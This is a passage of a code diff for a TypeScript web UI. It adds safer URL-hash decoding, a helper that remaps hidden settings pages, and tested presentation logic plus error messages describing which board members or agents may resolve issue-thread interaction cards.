--- a/ui/src/lib/document-annotation-hash.test.ts
+++ b/ui/src/lib/document-annotation-hash.test.ts
@@ -35,6 +35,10 @@ describe("parseDocumentAnnotationHash", () => {
       commentId: null,
     });
   });
+
+  it("returns null for a malformed encoded document key", () => {
+    expect(parseDocumentAnnotationHash("#document-%E0%A4%A")).toBeNull();
+  });
 });
 
 describe("buildDocumentAnnotationHash", () => {
diff --git a/ui/src/lib/document-annotation-hash.ts b/ui/src/lib/document-annotation-hash.ts
index 402a9ab01c7..1b0b859e91f 100644
--- a/ui/src/lib/document-annotation-hash.ts
+++ b/ui/src/lib/document-annotation-hash.ts
@@ -11,7 +11,13 @@ export function parseDocumentAnnotationHash(hash: string): DocumentAnnotationHas
   const stripped = hash.slice(DOCUMENT_HASH_PREFIX.length);
   const [rawKey, ...rest] = stripped.split("&");
   if (!rawKey) return null;
-  const documentKey = decodeURIComponent(rawKey);
+  let documentKey: string;
+  try {
+    documentKey = decodeURIComponent(rawKey);
+  } catch {
+    return null;
+  }
+  if (!documentKey) return null;
   const params = new URLSearchParams(rest.join("&"));
   const threadId = params.get("thread");
   const commentId = params.get("comment");
diff --git a/ui/src/lib/instance-settings.test.ts b/ui/src/lib/instance-settings.test.ts
index 92c6993b68a..730b9ecb218 100644
--- a/ui/src/lib/instance-settings.test.ts
+++ b/ui/src/lib/instance-settings.test.ts
@@ -1,6 +1,7 @@
 import { describe, expect, it } from "vitest";
 import {
   DEFAULT_INSTANCE_SETTINGS_PATH,
+  filterHiddenInstanceSettingsPath,
   normalizeRememberedInstanceSettingsPath,
 } from "./instance-settings";
 
@@ -15,6 +16,12 @@ describe("normalizeRememberedInstanceSettingsPath", () => {
     expect(normalizeRememberedInstanceSettingsPath("/instance/settings/environments")).toBe(
       "/company/settings/instance/environments",
     );
+    expect(normalizeRememberedInstanceSettingsPath("/settings/access?tab=users#admins")).toBe(
+      "/company/settings/instance/access?tab=users#admins",
+    );
+    expect(normalizeRememberedInstanceSettingsPath("/instance/settings/heartbeats")).toBe(
+      "/company/settings/instance/heartbeats",
+    );
     expect(normalizeRememberedInstanceSettingsPath("/instance/settings/plugins/example?tab=config#logs")).toBe(
       "/company/settings/instance/plugins/example?tab=config#logs",
     );
@@ -30,9 +37,6 @@ describe("normalizeRememberedInstanceSettingsPath", () => {
     expect(normalizeRememberedInstanceSettingsPath("/company/settings/environments")).toBe(
       "/company/settings/instance/environments",
     );
-    expect(normalizeRememberedInstanceSettingsPath("/settings/access?tab=users#admins")).toBe(
-      "/company/settings/instance/access?tab=users#admins",
-    );
     expect(normalizeRememberedInstanceSettingsPath("/PAP/settings/plugins/example")).toBe(
       "/company/settings/instance/plugins/example",
     );
@@ -45,3 +49,29 @@ describe("normalizeRememberedInstanceSettingsPath", () => {
     expect(normalizeRememberedInstanceSettingsPath(null)).toBe(DEFAULT_INSTANCE_SETTINGS_PATH);
   });
 });
+
+describe("filterHiddenInstanceSettingsPath", () => {
+  const hidden = new Set(["instance.plugins", "instance.heartbeats"]);
+
+  it("remaps hidden pages (including sub-paths) to the default settings path", () => {
+    expect(
+      filterHiddenInstanceSettingsPath("/company/settings/instance/plugins", hidden),
+    ).toBe(DEFAULT_INSTANCE_SETTINGS_PATH);
+    expect(
+      filterHiddenInstanceSettingsPath("/company/settings/instance/plugins/plugin-1", hidden),
+    ).toBe(DEFAULT_INSTANCE_SETTINGS_PATH);
+    expect(
+      filterHiddenInstanceSettingsPath("/company/settings/instance/heartbeats", hidden),
+    ).toBe(DEFAULT_INSTANCE_SETTINGS_PATH);
+  });
+
+  it("keeps visible pages and non-settings paths untouched", () => {
+    expect(
+      filterHiddenInstanceSettingsPath("/company/settings/instance/experimental", hidden),
+    ).toBe("/company/settings/instance/experimental");
+    expect(filterHiddenInstanceSettingsPath("/dashboard", hidden)).toBe("/dashboard");
+    expect(
+      filterHiddenInstanceSettingsPath("/company/settings/instance/plugins", new Set()),
+    ).toBe("/company/settings/instance/plugins");
+  });
+});
diff --git a/ui/src/lib/instance-settings.ts b/ui/src/lib/instance-settings.ts
index a6945db15d0..6f9dfcb0777 100644
--- a/ui/src/lib/instance-settings.ts
+++ b/ui/src/lib/instance-settings.ts
@@ -79,3 +79,23 @@ export function normalizeRememberedInstanceSettingsPath(rawPath: string | null):
 
   return DEFAULT_INSTANCE_SETTINGS_PATH;
 }
+
+/**
+ * Remaps a remembered instance-settings path onto the settings root when its
+ * page is hidden by the hosting operator (`hidden` holds keys from the shared
+ * settings-visibility registry). Saves a redirect hop; the route-level
+ * HiddenSettingsPageGate stays the enforcement point.
+ */
+export function filterHiddenInstanceSettingsPath(
+  normalizedPath: string,
+  hidden: ReadonlySet<string>,
+): string {
+  const { pathname } = splitPath(normalizedPath);
+  const suffix = instanceSettingsSuffix(pathname);
+  if (!suffix) return normalizedPath;
+  const page = suffix.split("/")[1];
+  if (page && page !== "general" && hidden.has(`instance.${page}`)) {
+    return DEFAULT_INSTANCE_SETTINGS_PATH;
+  }
+  return normalizedPath;
+}
diff --git a/ui/src/lib/interaction-audience.test.ts b/ui/src/lib/interaction-audience.test.ts
new file mode 100644
index 00000000000..36d7ef8bf54
--- /dev/null
+++ b/ui/src/lib/interaction-audience.test.ts
@@ -0,0 +1,307 @@
+import { describe, expect, it } from "vitest";
+import type { AttentionItem, AttentionResolverAudience } from "@paperclipai/shared";
+import type { RequestConfirmationInteraction } from "./issue-thread-interactions";
+import {
+  DEFAULT_RESOLVER_POLICY,
+  RESOLVER_POLICY_CHOICES,
+  describeAttentionResolverAudience,
+  describeInteractionAudience,
+  resolverPolicyEffect,
+  resolverPolicyLabel,
+} from "./interaction-audience";
+
+function confirmation(
+  overrides: Partial<RequestConfirmationInteraction> = {},
+): RequestConfirmationInteraction {
+  return {
+    id: "interaction-1",
+    companyId: "company-1",
+    issueId: "issue-1",
+    kind: "request_confirmation",
+    status: "pending",
+    continuationPolicy: "wake_assignee",
+    createdByAgentId: "agent-creator",
+    createdByUserId: null,
+    createdAt: "2026-08-14T12:00:00.000Z",
+    updatedAt: "2026-08-14T12:00:00.000Z",
+    payload: { version: 1, prompt: "Ship it?" },
+    result: null,
+    // Open default with inherited provenance — what an omitted `resolverPolicy`
+    // produces under the PAP-17277 contract.
+    resolverPolicy: "anyone",
+    requestedResolverPolicy: "anyone",
+    effectiveResolverPolicy: "anyone",
+    resolverPolicyProvenance: "inherited",
+    effectiveResolverPolicySource: "requested",
+    legacyResolverPolicyAliases: { requested: "board_or_agents", effective: "board_or_agents" },
+    ...overrides,
+  };
+}
+
+describe("resolver policy vocabulary", () => {
+  it("defaults to the open audience", () => {
+    expect(DEFAULT_RESOLVER_POLICY).toBe("anyone");
+    expect(RESOLVER_POLICY_CHOICES[0]).toMatchObject({ value: "anyone", isDefault: true });
+    expect(RESOLVER_POLICY_CHOICES.map((choice) => choice.value)).toEqual([
+      "anyone",
+      "not_creator",
+      "human_only",
+    ]);
+    expect(RESOLVER_POLICY_CHOICES.filter((choice) => choice.isDefault)).toHaveLength(1);
+  });
+
+  it("labels each canonical policy in plain language", () => {
+    expect(resolverPolicyLabel("anyone")).toBe("Anyone");
+    expect(resolverPolicyLabel("not_creator")).toBe("Anyone except creator");
+    expect(resolverPolicyLabel("human_only")).toBe("Human only");
+  });
+
+  it("maps deprecated board aliases onto canonical copy", () => {
+    expect(resolverPolicyLabel("board_or_agents")).toBe("Anyone");
+    expect(resolverPolicyLabel("board_only")).toBe("Human only");
+    expect(resolverPolicyEffect("board_only")).toBe(resolverPolicyEffect("human_only"));
+  });
+
+  it("previews an effect for every choice without naming a raw policy value", () => {
+    for (const choice of RESOLVER_POLICY_CHOICES) {
+      expect(choice.effect.length).toBeGreaterThan(0);
+      expect(choice.effect).not.toContain(choice.value);
+    }
+  });
+});
+
+describe("describeInteractionAudience", () => {
+  it("reads an omitted policy as open company attention", () => {
+    const audience = describeInteractionAudience({ interaction: confirmation() });
+    expect(audience.policy).toBe("anyone");
+    expect(audience.isOpen).toBe(true);
+    expect(audience.label).toBe("Anyone");
+    expect(audience.narrowedBy).toBeNull();
+    expect(audience.narrowedNote).toBeNull();
+    expect(audience.summary).toBe(
+      "Anyone in the company can respond — the board or any agent, including the one that asked.",
+    );
+  });
+
+  it("does not present an open card as board-required", () => {
+    const audience = describeInteractionAudience({ interaction: confirmation() });
+    expect(audience.summary).not.toMatch(/only .*board/i);
+    expect(audience.summary).toMatch(/anyone in the company/i);
+  });
+
+  it("names the excluded creator for an explicit not_creator restriction", () => {
+    const audience = describeInteractionAudience({
+      interaction: confirmation({
+        requestedResolverPolicy: "not_creator",
+        effectiveResolverPolicy: "not_creator",
+        resolverPolicyProvenance: "explicit",
+        legacyResolverPolicyAliases: { requested: null, effective: null },
+      }),
+      creatorLabel: "ClaudeCoder",
+    });
+    expect(audience.isOpen).toBe(false);
+    expect(audience.label).toBe("Anyone except creator");
+    expect(audience.narrowedBy).toBe("requested");
+    expect(audience.summary).toBe("Anyone in the company except ClaudeCoder can respond.");
+    // An explicitly requested restriction needs no extra explanation.
+    expect(audience.narrowedNote).toBeNull();
+  });
+
+  it("falls back to a generic creator phrase when the creator label is unknown", () => {
+    const audience = describeInteractionAudience({
+      interaction: confirmation({
+        requestedResolverPolicy: "not_creator",
+        effectiveResolverPolicy: "not_creator",
+        resolverPolicyProvenance: "explicit",
+      }),
+    });
+    expect(audience.summary).toBe(
+      "Anyone in the company except the agent that created it can respond.",
+    );
+  });
+
+  it("keeps human-only ownership copy explicit", () => {
+    const audience = describeInteractionAudience({
+      interaction: confirmation({
+        requestedResolverPolicy: "human_only",
+        effectiveResolverPolicy: "human_only",
+        resolverPolicyProvenance: "explicit",
+        legacyResolverPolicyAliases: { requested: "board_only", effective: "board_only" },
+      }),
+    });
+    expect(audience.label).toBe("Human only");
+    expect(audience.isOpen).toBe(false);
+    expect(audience.summary).toBe(
+      "Only a person on the board can respond — agents cannot resolve this card.",
+    );
+  });
+
+  it("keeps addressee ownership copy when a named agent owns the card", () => {
+    const audience = describeInteractionAudience({
+      interaction: confirmation({ addresseeAgentId: "agent-release" }),
+      addresseeLabel: "ReleaseBot",
+    });
+    expect(audience.isOpen).toBe(false);
+    expect(audience.narrowedBy).toBe("addressee");
+    expect(audience.summary).toBe("Only ReleaseBot or a person on the board can respond.");
+    // The label must not claim "Anyone" next to a sentence naming one agent.
+    expect(audience.label).toBe("Addressed");
+  });
+
+  it("lets human_only win over a named addressee", () => {
+    const audience = describeInteractionAudience({
+      interaction: confirmation({
+        addresseeAgentId: "agent-release",
+        requestedResolverPolicy: "human_only",
+        effectiveResolverPolicy: "human_only",
+      }),
+      addresseeLabel: "ReleaseBot",
+    });
+    expect(audience.summary).toBe(
+      "Only a person on the board can respond — agents cannot resolve this card.",
+    );
+    expect(audience.label).toBe("Human only");
+  });
+
+  it("explains a governed-action clamp", () => {
+    const audience = describeInteractionAudience({
+      interaction: confirmation({
+        requestedResolverPolicy: "anyone",
+        effectiveResolverPolicy: "human_only",
+        effectiveResolverPolicySource: "governed_action",
+      }),
+    });
+    expect(audience.policy).toBe("human_only");
+    expect(audience.requestedPolicy).toBe("anyone");
+    expect(audience.narrowedBy).toBe("governed_action");
+    expect(audience.narrowedNote).toBe(
+      "This card runs a governed action, so it stays human-only whatever audience was requested.",
+    );
+  });
+
+  it("explains a company cap using both audience labels", () => {
+    const audience = describeInteractionAudience({
+      interaction: confirmation({
+        requestedResolverPolicy: "anyone",
+        effectiveResolverPolicy: "human_only",
+        effectiveResolverPolicySource: "company_cap",
+      }),
+    });
+    expect(audience.narrowedBy).toBe("company_cap");
+    expect(audience.narrowedNote).toBe(
+      "Company interaction governance narrowed this from Anyone to Human only.",
+    );
+  });
+
+  it("explains a legacy restricted card that predates the open default", () => {
+    const audience = describeInteractionAudience({
+      interaction: confirmation({
+        requestedResolverPolicy: "not_creator",
+        effectiveResolverPolicy: "not_creator",
+        resolverPolicyProvenance: "legacy_inherited_restriction",
+      }),
+      creatorLabel: "ClaudeCoder",
+    });
+    expect(audience.narrowedBy).toBe("legacy_restriction");
+    expect(audience.narrowedNote).toBe(
+      "Created before Anyone became the default, so it stays restricted. A new card would be open.",
+    );
+    expect(audience.summary).toBe("Anyone in the company except ClaudeCoder can respond.");
+  });
+});
+
+/** The `resolverAudience` metadata the attention feed ships with an interaction row. */
+function attentionAudience(
+  overrides: Partial<AttentionResolverAudience> = {},
+): AttentionResolverAudience {
+  return {
+    requestedResolverPolicy: "anyone",
+    effectiveResolverPolicy: "anyone",
+    effectiveResolverPolicySource: "requested",
+    resolverPolicyProvenance: "inherited",
+    addresseeAgentId: null,
+    addresseeName: null,
+    createdByAgentId: "agent-creator",
+    createdByAgentName: "Watchdog",
+    ...overrides,
+  };
+}
+
+function attentionItem(
+  audience: AttentionResolverAudience | null,
+  sourceKind: AttentionItem["sourceKind"] = "issue_thread_interaction",
+): Pick<AttentionItem, "sourceKind" | "resolverAudience"> {
+  return { sourceKind, resolverAudience: audience };
+}
+
+describe("glanceable audience copy", () => {
+  it("states the open default in one clause", () => {
+    expect(describeInteractionAudience({ interaction: confirmation() }).shortSummary)
+      .toBe("Anyone can respond");
+  });
+
+  it("names the excluded creator", () => {
+    expect(describeInteractionAudience({
+      interaction: confirmation({ requestedResolverPolicy: "not_creator", effectiveResolverPolicy: "not_creator" }),
+      creatorLabel: "Watchdog",
+    }).shortSummary).toBe("Anyone except Watchdog can respond");
+  });
+
+  it("names the addressed responder", () => {
+    expect(describeInteractionAudience({
+      interaction: confirmation({ addresseeAgentId: "agent-codex" }),
+      addresseeLabel: "CodexCoder",
+    }).shortSummary).toBe("Only CodexCoder or the board can respond");
+  });
+
+  it("keeps human-only ownership with the board", () => {
+    expect(describeInteractionAudience({
+      interaction: confirmation({ requestedResolverPolicy: "human_only", effectiveResolverPolicy: "human_only" }),
+    }).shortSummary).toBe("Only the board can respond");
+  });
+});
+
+describe("describeAttentionResolverAudience", () => {
+  it("describes an open interaction row from server metadata alone", () => {
+    const audience = describeAttentionResolverAudience(attentionItem(attentionAudience()));
+    expect(audience?.policy).toBe("anyone");
+    expect(audience?.isOpen).toBe(true);
+    expect(audience?.label).toBe("Anyone");
+    expect(audience?.shortSummary).toBe("Anyone can respond");
+  });
+
+  it("names the addressed agent the server recorded", () => {
+    const audience = describeAttentionResolverAudience(attentionItem(attentionAudience({
+      addresseeAgentId: "agent-codex",
+      addresseeName: "CodexCoder",
+    })));
+    expect(audience?.label).toBe("Addressed");
+    expect(audience?.shortSummary).toBe("Only CodexCoder or the board can respond");
+  });
+
+  it("names the excluded creator the server recorded", () => {
+    const audience = describeAttentionResolverAudience(attentionItem(attentionAudience({
+      requestedResolverPolicy: "not_creator",
+      effectiveResolverPolicy: "not_creator",
+    })));
+    expect(audience?.shortSummary).toBe("Anyone except Watchdog can respond");
+  });
+
+  it("carries the narrowing explanation for a company cap", () => {
+    const audience = describeAttentionResolverAudience(attentionItem(attentionAudience({
+      effectiveResolverPolicy: "human_only",
+      effectiveResolverPolicySource: "company_cap",
+    })));
+    expect(audience?.narrowedBy).toBe("company_cap");
+    expect(audience?.narrowedNote).toBe(
+      "Company interaction governance narrowed this from Anyone to Human only.",
+    );
+  });
+
+  it("stays silent rather than guessing a policy client-side", () => {
+    // No metadata (an older feed) and non-interaction rows must render nothing.
+    expect(describeAttentionResolverAudience(attentionItem(null))).toBeNull();
+    expect(describeAttentionResolverAudience({ sourceKind: "issue_thread_interaction" })).toBeNull();
+    expect(describeAttentionResolverAudience(attentionItem(attentionAudience(), "approval"))).toBeNull();
+  });
+});
diff --git a/ui/src/lib/interaction-audience.ts b/ui/src/lib/interaction-audience.ts
new file mode 100644
index 00000000000..456b975eb30
--- /dev/null
+++ b/ui/src/lib/interaction-audience.ts
@@ -0,0 +1,267 @@
+/**
+ * Plain-language presentation of *who may resolve* an issue-thread interaction
+ * (PAP-17280, Phase 3 of the open-default resolver contract in
+ * `doc/SPEC-implementation.md` §9.8.1).
+ *
+ * The product default is open: an interaction created without an explicit
+ * `resolverPolicy` is resolvable by `anyone` in the company — the board or any
+ * agent, including the agent that created it. `not_creator`, `human_only`, and a
+ * named addressee are *narrowing* controls that a requester asks for on purpose.
+ *
+ * This module is presentation only. It never decides authority: the server
+ * evaluator owns that, and every downstream effect re-runs its own
+ * authorization (see the Phase 1S security verdict on PAP-17278). Everything
+ * here is derived from the server-provided snapshot fields
+ * (`requestedResolverPolicy`, `effectiveResolverPolicy`,
+ * `effectiveResolverPolicySource`, `resolverPolicyProvenance`) so the copy a
+ * reader sees agrees with the policy the server will apply.
+ */
+
+import {
+  ISSUE_THREAD_INTERACTION_CANONICAL_RESOLVER_POLICIES,
+  normalizeIssueThreadInteractionResolverPolicy,
+  type AttentionItem,
+  type AttentionResolverAudience,
+  type IssueThreadInteractionCanonicalResolverPolicy,
+  type IssueThreadInteractionEffectiveResolverPolicySource,
+  type IssueThreadInteractionResolverPolicy,
+  type IssueThreadInteractionResolverPolicyProvenance,
+} from "@paperclipai/shared";
+import type { IssueThreadInteraction } from "./issue-thread-interactions";
+
+/**
+ * The open default. Creation surfaces present this first and requesters omit
+ * `resolverPolicy` to get it.
+ */
+export const DEFAULT_RESOLVER_POLICY: IssueThreadInteractionCanonicalResolverPolicy = "anyone";
+
+/** Short label for a resolver audience — badges, select options, table cells. */
+const RESOLVER_POLICY_LABELS: Record<IssueThreadInteractionCanonicalResolverPolicy, string> = {
+  anyone: "Anyone",
+  not_creator: "Anyone except creator",
+  human_only: "Human only",
+};
+
+/**
+ * Plain-language preview of what a policy *does*, phrased for a surface that is
+ * choosing it for future cards (company defaults and caps). Card-specific copy
+ * that names the real creator/addressee comes from
+ * {@link describeInteractionAudience}.
+ */
+const RESOLVER_POLICY_EFFECTS: Record<IssueThreadInteractionCanonicalResolverPolicy, string> = {
+  anyone:
+    "Anyone in the company can respond — the board or any agent, including the one that asked.",
+  not_creator:
+    "Anyone in the company except the agent that created the card, and its run. Use this when the answer has to come from someone else.",
+  human_only: "Only a person on the board can respond. Agents are turned away.",
+};
+
+/** Accepts canonical values and the deprecated `board_*` compatibility aliases. */
+export function resolverPolicyLabel(policy: IssueThreadInteractionResolverPolicy): string {
+  return RESOLVER_POLICY_LABELS[normalizeIssueThreadInteractionResolverPolicy(policy)];
+}
+
+/** Accepts canonical values and the deprecated `board_*` compatibility aliases. */
+export function resolverPolicyEffect(policy: IssueThreadInteractionResolverPolicy): string {
+  return RESOLVER_POLICY_EFFECTS[normalizeIssueThreadInteractionResolverPolicy(policy)];
+}
+
+/**
+ * Ordered choice list for every surface that picks a resolver audience. `anyone`
+ * is first and marked as the default so the open option reads as the normal
+ * path rather than a permission grant.
+ */
+export const RESOLVER_POLICY_CHOICES: readonly {
+  value: IssueThreadInteractionCanonicalResolverPolicy;
+  label: string;
+  effect: string;
+  isDefault: boolean;
+}[] = ISSUE_THREAD_INTERACTION_CANONICAL_RESOLVER_POLICIES.map((value) => ({
+  value,
+  label: RESOLVER_POLICY_LABELS[value],
+  effect: RESOLVER_POLICY_EFFECTS[value],
+  isDefault: value === DEFAULT_RESOLVER_POLICY,
+}));
+
+/** Why an effective audience ended up narrower than the requested one. */
+export type InteractionAudienceNarrowing =
+  | "requested"
+  | "company_cap"
+  | "governed_action"
+  | "addressee"
+  | "legacy_restriction";
+
+export interface InteractionAudienceDescription {
+  /** Effective canonical policy the server will enforce. */
+  policy: IssueThreadInteractionCanonicalResolverPolicy;
+  /** Canonical policy the creator asked for (before caps/clamps). */
+  requestedPolicy: IssueThreadInteractionCanonicalResolverPolicy;
+  /** Short badge label for the effective audience. */
+  label: string;
+  /** One sentence naming exactly who can respond to *this* card. */
+  summary: string;
+  /**
+   * The same fact in a glanceable clause, for a dense surface that shows the
+   * audience beside compact decision buttons (collapsed attention rows).
+   */
+  shortSummary: string;
+  /** True when the card is open to the whole company with no addressee. */
+  isOpen: boolean;
+  /** Set when something narrows the audience below the open default. */
+  narrowedBy: InteractionAudienceNarrowing | null;
+  /** Extra sentence explaining a narrowing the requester did not ask for. */
+  narrowedNote: string | null;
+}
+
+/**
+ * The server-evaluated facts an audience description is derived from. Both the
+ * full interaction snapshot (issue thread) and the attention feed's
+ * `resolverAudience` (collapsed queue rows) reduce to this shape, so one copy
+ * table serves both surfaces and they cannot drift.
+ */
+export interface InteractionAudienceFacts {
+  effectiveResolverPolicy: IssueThreadInteractionCanonicalResolverPolicy;
+  requestedResolverPolicy: IssueThreadInteractionCanonicalResolverPolicy;
+  effectiveResolverPolicySource: IssueThreadInteractionEffectiveResolverPolicySource;
+  resolverPolicyProvenance: IssueThreadInteractionResolverPolicyProvenance;
+  hasAddressee: boolean;
+}
+
+/**
+ * Describe the effective audience of one interaction.
+ *
+ * Precedence mirrors the server evaluator's *narrowing* order so the copy can
+ * never promise a wider audience than the API allows: `human_only` (including a
+ * governed-action clamp) beats a named addressee, which beats `not_creator`,
+ * which beats the open default.
+ */
+export function describeInteractionAudience({
+  interaction,
+  creatorLabel,
+  addresseeLabel,
+}: {
+  interaction: IssueThreadInteraction;
+  /** Display label of the creating actor, when known. */
+  creatorLabel?: string | null;
+  /** Display label of the named addressee agent, when the card has one. */
+  addresseeLabel?: string | null;
+}): InteractionAudienceDescription {
+  return describeResolverAudience({
+    facts: {
+      effectiveResolverPolicy: interaction.effectiveResolverPolicy,
+      requestedResolverPolicy: interaction.requestedResolverPolicy,
+      effectiveResolverPolicySource: interaction.effectiveResolverPolicySource,
+      resolverPolicyProvenance: interaction.resolverPolicyProvenance,
+      hasAddressee: Boolean(interaction.addresseeAgentId),
+    },
+    creatorLabel,
+    addresseeLabel,
+  });
+}
+
+/**
+ * Describe an effective audience from the server-evaluated facts alone — used
+ * where the full interaction is not loaded, such as a collapsed attention row
+ * (PAP-17287).
+ */
+export function describeResolverAudience({
+  facts,
+  creatorLabel,
+  addresseeLabel,
+}: {
+  facts: InteractionAudienceFacts;
+  creatorLabel?: string | null;
+  addresseeLabel?: string | null;
+}): InteractionAudienceDescription {
+  const policy = facts.effectiveResolverPolicy;
+  const requestedPolicy = facts.requestedResolverPolicy;
+  const hasAddressee = facts.hasAddressee;
+  const addressee = addresseeLabel?.trim() || "the addressed agent";
+  const creator = creatorLabel?.trim() || "the agent that created it";
+
+  const summary = policy === "human_only"
+    ? "Only a person on the board can respond — agents cannot resolve this card."
+    : hasAddressee
+      ? `Only ${addressee} or a person on the board can respond.`
+      : policy === "not_creator"
+        ? `Anyone in the company except ${creator} can respond.`
+        : "Anyone in the company can respond — the board or any agent, including the one that asked.";
+
+  // Same fact, fewer words: a collapsed row has to answer "is this mine to
+  // decide?" in one glance, next to the buttons that act on the answer.
+  const shortSummary = policy === "human_only"
+    ? "Only the board can respond"
+    : hasAddressee
+      ? `Only ${addressee} or the board can respond`
+      : policy === "not_creator"
+        ? `Anyone except ${creator} can respond`
+        : "Anyone can respond";
+
+  const source = facts.effectiveResolverPolicySource;
+  const provenance = facts.resolverPolicyProvenance;
+
+  // Narrowing the requester did *not* ask for is the only thing worth an extra
+  // sentence: a governed-action clamp, a company cap, or a card created before
+  // open resolution existed. An explicitly requested restriction is already
+  // fully described by `summary`.
+  const narrowedNote = source === "governed_action"
+    ? "This card runs a governed action, so it stays human-only whatever audience was requested."
+    : source === "company_cap"
+      ? `Company interaction governance narrowed this from ${RESOLVER_POLICY_LABELS[requestedPolicy]} to ${RESOLVER_POLICY_LABELS[policy]}.`
+      : provenance === "legacy_inherited_restriction"
+        ? "Created before Anyone became the default, so it stays restricted. A new card would be open."
+        : null;
+
+  const narrowedBy: InteractionAudienceNarrowing | null = source === "governed_action"
+    ? "governed_action"
+    : source === "company_cap"
+      ? "company_cap"
+      : provenance === "legacy_inherited_restriction"
+        ? "legacy_restriction"
+        : policy !== "anyone"
+          ? "requested"
+          : hasAddressee
+            ? "addressee"
+            : null;
+
+  return {
+    policy,
+    requestedPolicy,
+    // A named addressee owns the response, so the label must not read "Anyone"
+    // while the sentence next to it names one agent. `human_only` still wins,
+    // because an addressed agent cannot resolve a human-only card.
+    label: policy !== "human_only" && hasAddressee
+      ? "Addressed"
+      : RESOLVER_POLICY_LABELS[policy],
+    summary,
+    shortSummary,
+    isOpen: policy === "anyone" && !hasAddressee,
+    narrowedBy,
+    narrowedNote,
+  };
+}
+
+/**
+ * Audience of an `issue_thread_interaction` attention row, from the server
+ * metadata the feed ships with the item (PAP-17287). Returns `null` for every
+ * other source kind and for a feed built before the metadata existed, so a
+ * caller renders nothing rather than guessing a policy client-side.
+ */
+export function describeAttentionResolverAudience(
+  item: Pick<AttentionItem, "sourceKind" | "resolverAudience">,
+): InteractionAudienceDescription | null {
+  if (item.sourceKind !== "issue_thread_interaction") return null;
+  const audience: AttentionResolverAudience | null | undefined = item.resolverAudience;
+  if (!audience) return null;
+  return describeResolverAudience({
+    facts: {
+      effectiveResolverPolicy: audience.effectiveResolverPolicy,
+      requestedResolverPolicy: audience.requestedResolverPolicy,
+      effectiveResolverPolicySource: audience.effectiveResolverPolicySource,
+      resolverPolicyProvenance: audience.resolverPolicyProvenance,
+      hasAddressee: Boolean(audience.addresseeAgentId),
+    },
+    creatorLabel: audience.createdByAgentName,
+    addresseeLabel: audience.addresseeName,
+  });
+}
diff --git a/ui/src/lib/interaction-resolution-error.test.ts b/ui/src/lib/interaction-resolution-error.test.ts
new file mode 100644
index 00000000000..d9352e813e8
--- /dev/null
+++ b/ui/src/lib/interaction-resolution-error.test.ts
@@ -0,0 +1,165 @@
+import { describe, expect, it } from "vitest";
+import { ApiError } from "../api/client";
+import {
+  describeInteractionResolutionFailure,
+  interactionResolutionErrorCode,
+  interactionResolutionErrorMessage,
+  isInteractionAudienceDenial,
+} from "./interaction-resolution-error";
+
+const addressedAudience = { shortSummary: "Only CodexCoder or the board can respond", isOpen: false };
+const humanOnlyAudience = { shortSummary: "Only the board can respond", isOpen: false };
+const openAudience = { shortSummary: "Anyone can respond", isOpen: true };
+
+/** Shapes an `ApiError` the way `errorHandler` serializes an `HttpError`. */
+function denial(status: number, code: string, message: string) {
+  return new ApiError(message, status, { error: message, code, details: { code } });
+}
+
+describe("interactionResolutionErrorCode", () => {
+  it("reads the top-level code the API returns", () => {
+    expect(interactionResolutionErrorCode(denial(403, "interaction_human_only", "human-only"))).toBe(
+      "interaction_human_only",
+    );
+  });
+
+  it("falls back to the code nested in details", () => {
+    const error = new ApiError("nope", 403, { error: "nope", details: { code: "interaction_addressee_mismatch" } });
+    expect(interactionResolutionErrorCode(error)).toBe("interaction_addressee_mismatch");
+  });
+
+  it("returns null for an error with no structured body", () => {
+    expect(interactionResolutionErrorCode(new Error("network down"))).toBeNull();
+  });
+});
+
+describe("isInteractionAudienceDenial", () => {
+  it("recognizes every audience denial code the evaluator can return", () => {
+    for (const code of [
+      "interaction_human_only",
+      "interaction_creator_excluded",
+      "interaction_addressee_mismatch",
+      "interaction_governed_action_denied",
+      "interaction_run_attribution_required",
+      "interaction_scope_denied",
+    ]) {
+      expect(isInteractionAudienceDenial(denial(403, code, "denied"))).toBe(true);
+    }
+  });
+
+  it("treats an uncoded 403 as an authorization refusal", () => {
+    expect(isInteractionAudienceDenial(new ApiError("Forbidden", 403, { error: "Forbidden" }))).toBe(true);
+  });
+
+  it("does not treat a server fault or a settled card as an audience denial", () => {
+    expect(isInteractionAudienceDenial(new ApiError("boom", 500, { error: "boom" }))).toBe(false);
+    expect(isInteractionAudienceDenial(denial(409, "interaction_already_resolved", "already resolved"))).toBe(false);
+  });
+});
+
+describe("describeInteractionResolutionFailure", () => {
+  it("keeps the server denial reason and names who can respond", () => {
+    const failure = describeInteractionResolutionFailure(
+      denial(403, "interaction_human_only", "This issue-thread interaction is human-only"),
+      humanOnlyAudience,
+    );
+
+    expect(failure.kind).toBe("audience_denied");
+    expect(failure.code).toBe("interaction_human_only");
+    expect(failure.message).toBe(
+      "This issue-thread interaction is human-only. Only the board can respond.",
+    );
+    // A policy denial is permanent: never invite a retry that will fail again.
+    expect(failure.message).not.toMatch(/try again/i);
+  });
+
+  it("names the addressed responder for an addressee mismatch", () => {
+    expect(
+      interactionResolutionErrorMessage(
+        denial(
+          403,
+          "interaction_addressee_mismatch",
+          "Only the addressed agent or an authorized human may resolve this issue-thread interaction",
+        ),
+        addressedAudience,
+      ),
+    ).toContain("Only CodexCoder or the board can respond.");
+  });
+
+  it("still explains a denial when no audience is known", () => {
+    const failure = describeInteractionResolutionFailure(
+      denial(403, "interaction_creator_excluded", "This issue-thread interaction requires a resolver other than its creator"),
+      null,
+    );
+
+    expect(failure.message).toBe(
+      "This issue-thread interaction requires a resolver other than its creator.",
+    );
+    expect(failure.message).not.toMatch(/try again/i);
+  });
+
+  // PAP-17289: the responder clause explains a denial, so it must never
+  // contradict it. An open card has no narrower audience to point at.
+  it("does not append the open-default clause to a refusal it would refute", () => {
+    const failure = describeInteractionResolutionFailure(
+      denial(
+        403,
+        "interaction_addressee_mismatch",
+        "Only the addressed agent can resolve this interaction",
+      ),
+      openAudience,
+    );
+
+    expect(failure.kind).toBe("audience_denied");
+    expect(failure.message).toBe("Only the addressed agent can resolve this interaction.");
+    expect(failure.message).not.toMatch(/anyone can respond/i);
+  });
+
+  it("keeps the server's own text for an uncoded 403 instead of inventing a cause", () => {
+    const failure = describeInteractionResolutionFailure(
+      new ApiError("Forbidden", 403, { error: "Forbidden" }),
+      openAudience,
+    );
+
+    expect(failure).toMatchObject({ kind: "audience_denied", code: null, message: "Forbidden." });
+    expect(failure.message).not.toMatch(/resolver audience/i);
+    expect(failure.message).not.toMatch(/try again/i);
+  });
+
+  it("restates the refusal without claiming an audience cause when a 403 says nothing", () => {
+    const failure = describeInteractionResolutionFailure(new ApiError("", 403, null), null);
+
